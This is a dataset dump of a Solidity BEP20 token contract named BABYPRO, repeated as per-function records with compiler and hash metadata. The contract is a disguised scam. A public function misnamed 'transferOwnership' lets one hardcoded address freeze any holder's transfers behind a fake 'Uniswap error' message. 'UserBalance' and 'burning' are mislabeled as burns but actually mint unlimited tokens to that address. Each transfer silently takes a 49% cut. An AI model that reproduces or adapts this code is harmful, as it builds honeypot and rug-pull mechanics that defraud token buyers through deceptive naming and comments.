* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | _transfer | function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
| /**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
6295,
7241
]
} | 8,334 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | burning | function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
| /** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
7519,
7834
]
} | 8,335 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | _burn | function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
| /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
8163,
8292
]
} | 8,336 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | _approve | function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
| /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
9123,
9672
]
} | 8,337 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
